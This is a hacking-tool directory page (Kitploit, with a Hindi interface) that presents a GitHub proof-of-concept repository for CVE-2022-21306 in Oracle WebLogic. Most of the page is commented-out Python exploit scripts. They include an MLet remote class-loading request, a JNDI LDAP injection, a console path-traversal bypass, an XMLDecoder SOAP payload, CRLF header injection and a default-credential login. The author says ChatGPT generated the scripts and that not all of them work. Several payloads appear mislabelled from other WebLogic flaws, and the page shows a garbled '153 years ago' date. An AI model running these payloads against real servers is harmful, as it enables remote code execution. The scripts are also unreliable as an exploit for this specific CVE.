Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-21306 — Oracle WebLogic Server को लक्षित करने वाले CVE-2022-21306 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। इसमें रिमोट कोड निष्पादन के लिए कई HTTP-आधारित डिटेक्शन और एक्सप्लॉइटेशन स्क्रिप्ट शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/hktalent/cve-2022-21306
टोहीभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubhktalent/cve-2022-21306

CVE-2022-21306

Oracle WebLogic Server को लक्षित करने वाले CVE-2022-21306 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। इसमें रिमोट कोड निष्पादन के लिए कई HTTP-आधारित डिटेक्शन और एक्सप्लॉइटेशन स्क्रिप्ट शामिल हैं।

रिपॉजिटरी देखें
153 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-21306

POC, EXP, chatGPT मेरे लिए, केवल कुछ विचार दे सकते हैं, सभी उपयोग योग्य नहीं हैं

code

# import json
# import requests

# target_url = "http://127.0.0.1:7001"

# headers = {
#     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3',
#     'Content-Type': 'application/json',
#     'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
#     'Referer': target_url,
#     'Connection': 'keep-alive',
#     "X-Requested-With": "XMLHttpRequest"
# }

# data = {
#     "name": {
#         "class": "javax.management.loading.MLet",
#         "ctor": [
#             {
#                 "type": "java.net.URL",
#                 "val": "http://127.0.0.1:9999/"
#             }
#         ],
#         "version": "1.0"
#     }
# }

# json_data = json.dumps(data)

# response = requests.post(target_url, headers=headers, data=json_data)

# if "Vulnerable" in response.text:
#     print("The website is vulnerable to CVE-2022-21306!")
# else:
#     print("The website is not vulnerable to CVE-2022-21306.")

# import requests

# target_url = "http://127.0.0.1:7001"

# headers = {
#     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3',
#     'Content-Type': 'application/x-www-form-urlencoded',
#     'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
#     'Referer': target_url,
#     'Connection': 'keep-alive',
#     "X-Requested-With": "XMLHttpRequest\r\nContent-Length: 5\r\n\r\nwoohoo",
# }

# response = requests.post(target_url, headers=headers)

# if response.status_code == 200 and ("ClassNotFoundException" in response.text or "java.lang.ClassNotFoundException" in response.text):
#     print("The website is vulnerable to CVE-2022-21306!")
# else:
#     print("The website is not vulnerable to CVE-2022-21306.")

# import requests

# target_url = "http://127.0.0.1:7001/"
# payload = "a';JdbcDataSource.getDataSource(\"ldap://localhost:1389/Exploit\")//"
# headers = {
#     "Content-Type": "application/x-www-form-urlencoded",
#     "X-Requested-With": "XMLHttpRequest"
# }
# data = {
#     "j_username": payload,
#     "j_password": "1"
# }
# try:
#     response = requests.post(target_url + "j_security_check", data=data, headers=headers, timeout=3)
#     if "error-page" in response.text:
#         print("[+] Target is vulnerable to CVE-2022-21306")
#     else:
#         print("[-] Target is not vulnerable")
# except requests.exceptions.Timeout:
#     print("[-] Request timeout occurred. The target may be protected by a WAF")
# except requests.exceptions.RequestException as e:
#     print("[-] An error occurred: ", e)


# import requests

# # 目标URL
# target_url = "http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal"

# # 请求头
# headers = {
#     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
#     "Content-Type": "application/x-www-form-urlencoded",
#     "Upgrade-Insecure-Requests": "1",
#     "X-Requested-With": "XMLHttpRequest"
# }

# # 发送请求
# response = requests.post(target_url, headers=headers)

# # 判断是否存在漏洞
# if "Welcome to WebLogic Server" in response.text:
#     print("目标存在Weblogic CVE-2022-21306漏洞!")
# else:
#     print("目标不存在Weblogic CVE-2022-21306漏洞。")


# import requests

# target_url = "http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal"
# headers = {
#     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299",
#     "Content-Type": "text/xml"
# }

# payload = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\
#                <soapenv:Header>\
#                   <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\
#                      <java version=\"1.8.0_181\" class=\"java.beans.XMLDecoder\">\
#                         <void class=\"java.lang.Thread\" method=\"currentThread\">\
#                            <void method=\"setContextClassLoader\">\
#                               <java version=\"1.8.0_181\" class=\"java.beans.XMLDecoder\">\
#                                  <void class=\"java.lang.ClassLoader\" method=\"loadClass\">\
#                                     <string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string>\
#                                  </void>\
#                               </java>\
#                            </void>\
#                         </void>\
#                      </java>\
#                   </work:WorkContext>\
#                </soapenv:Header>\
#                <soapenv:Body/>\
#             </soapenv:Envelope>"

# response = requests.post(target_url, headers=headers, data=payload)

# if response.status_code == 500 and 'Error occurred while processing request' in response.text:
#     print("WebLogic Server is vulnerable to CVE-2022-21306")
# else:
#     print("WebLogic Server is not vulnerable to CVE-2022-21306")


# import requests
# import sys

# # 定义检测函数
# def check(url):
#     target_url = url + "/console/images/%252E%252E%252Fconsole.portal"
#     headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0",
#                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
#                "Accept-Language": "en-US,en;q=0.5",
#                "Accept-Encoding": "gzip, deflate",
#                "Referer": target_url,
#                "Connection": "close",
#                "Upgrade-Insecure-Requests": "1"}

#     try:
#         response = requests.get(target_url, headers=headers, timeout=10, verify=False)

#         if response.status_code == 200 and 'LoginPage.jsp' in response.text:
#             print(f"[+] {url} is vulnerable to CVE-2022-21306!")
#         else:
#             print(f"[-] {url} is not vulnerable.")
#     except Exception as e:
#         print(f"[-] {url} request failed: {e}")


# if __name__ == '__main__':

#     check("http://127.0.0.1:7001")


# import requests

# # 目标URL
# target_url = "http://127.0.0.1:7001/console/login/LoginForm.jsp"

# # 构造HTTP请求头
# headers = {
#     "Content-Type": "application/x-www-form-urlencoded",
#     "X-Requested-With": "XMLHttpRequest",
# }

# # 构造HTTP POST数据
# data = {
#     "j_username": "weblogic",
#     "j_password": "weblogic",
#     "j_character_encoding": "UTF-8",
# }

# # 发送HTTP POST请求
# response = requests.post(target_url, headers=headers, data=data)

# # 判断是否存在漏洞
# if "HTTP 404" in response.text:
#     print("目标服务器不受影响")
# else:
#     print("目标服务器受到CVE-2022-21306漏洞的影响")


# import requests

# target_url = "http://localhost:7001/wls-wsat/CoordinatorPortType"
# headers = {
#     "Content-Type": "text/xml;charset=UTF-8",
#     "SOAPAction": "",
#     "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36",
#     "Accept-Encoding": "gzip, deflate",
#     "Accept": "*/*",
#     "Connection": "keep-alive",
#     "Content-Length": "297"
# }
टूल डाउनलोड करें